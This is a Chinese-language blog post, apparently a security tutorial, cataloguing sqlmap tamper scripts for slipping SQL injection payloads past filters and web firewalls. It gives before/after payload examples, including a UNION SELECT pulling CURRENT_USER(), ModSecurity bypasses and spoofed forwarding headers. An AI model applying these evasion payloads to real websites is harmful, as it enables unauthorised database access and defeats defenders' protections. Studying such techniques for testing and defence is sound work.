作者: 村里的小四
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
从开源软件Sqlmap学习字符的篡改,现在的web网络环境参数出入处基本都会过滤某些字符串,我们在进行sql注入时,Sqlmap这款Sql注入神器的插件就可以帮助我们(Tamper)篡改字符,实现绕过,以下为实战中常用的Tamper,建议收藏。
Sqlmap下载地址:https://github.com/sqlmapproject/sqlmap
用法这里就不过多介绍了
python sqlmap.py -u xxx --tamper xxx.py
使用e0UNION替换UNION
已经测试过的数据库:Mysql,Mssql
将’替换成UTF-8urlencoded的%EF%BC%87
将’替换成%00%27
在参数末尾加入%00
已经测试过的数据库:Microsoft Access
base64编码所有字符
将>字符替换为NOT BETWEEN 0 AND
将=字符替换为BETWEEN # AND # (这个#看下面的例子)
'1 AND A = B--' '1 AND A BETWEEN B AND B--'
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
将sql语句后的空格字符替换为%09,LIKE替换字符=
已经测试过的数据库:mysql5.1之前
URL编码
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
二次URL编码
URL编码
必要条件:ASP,ASP.NET
使用数据库:Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3
url解码中的%篡改成\
替换字符的位置
'LIMIT 2, 3' 'LIMIT 3 OFFSET 2'
必要条件:mysql
已经测试过的数据库:mysql5.0,mysql5.5
将concat(a,b)替换成concat_ws(mid(char(0),0,0),a,b)
'CONCAT(1,2)' CONCAT_WS(MID(CHAR(0),0,0),1,2)
必要条件:mysql
已经测试过的数据库:mysql5.0
将UNION换成DUNION
必要条件:Oracle
将=篡改成LIKE
SELECT * FROM users WHERE id=1 SELECT * FROM users WHERE id LIKE 1
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
将=篡改成RLIKE
使用greatest替换>
已经测试过的数据库:MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
在每个关键字之前添加mysql版本注释
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
必要条件:mysql<5.1
已经测试过的数据库:mysql4.0.18,5.0.22
html编码
添加一个内联注释(//)到information_schema末尾
'SELECT table_name FROM INFORMATION_SCHEMA.TABLES' 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
将字符转换为小写
UNION篡改为-.1UNION
这两个tamper可以绕过modsecurity防火墙
在sql关键字周围添加多个空格
'1 UNION SELECT foobar' '1 UNION SELECT foobar'
空格替换为%C0%A0
在每一个字符前面添加一个百分比符号
'SELECT FIELD FROM TABLE' '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
字符替换成大小写字符
'function()' 'FuNcTiOn()'
在关键字添加内联注释//
'INSERT' 'I/**/NS/**/ERT'
将sp_password附加到有效负载的末尾,用来混淆
'1 AND 9227=9227-- ' '1 AND 9227=9227-- sp_password'
必要条件:mssql
空格替换成//
'SELECT id FROM users' 'SELECT/**/id/**/FROM/**/users'
空格替换成/ /
已经测试过的数据库:mysql5.0 and 5.5
'SELECT id FROM users' 'SELECT/**_**/id/**_**/FROM/**_**/users'
将空格替换成随机的以下字符
'%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'
'SELECT id FROM users' 'SELECT%0Did%0DFROM%04users'
适用数据库:Microsoft SQL Server
已经测试过的数据库:sql server 2000 sql server 2005
将空格替换成%23%0A
适用数据库:mssql mysql
将空格替换成+
将刻个替换成以下随机的字符
"%09", "%0A", "%0C", "%0D"
测试过的数据库:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
将and和or的逻辑运算符分别替换为(&&和||)
"1 AND '1'='1" "1 %26%26 '1'='1"
将union all select 替换成union select
'-1 UNION ALL SELECT' '-1 UNION SELECT'
将关键字符替换成大写
'insert' 'INSERT'
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
附加一个HTTP头来 X-originating-IP = “127.0.0.1” 来绕过防火墙
附加一个虚假的HTTP头“X-Forwarded-For”
很多人觉得使用这款神器觉得挖不到注入,其实大多数情况下一般都进行了过滤,这时候这款开源软件里面的tamper还是很值得我们学习的,对于绕过防火墙也是很好的思路。
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!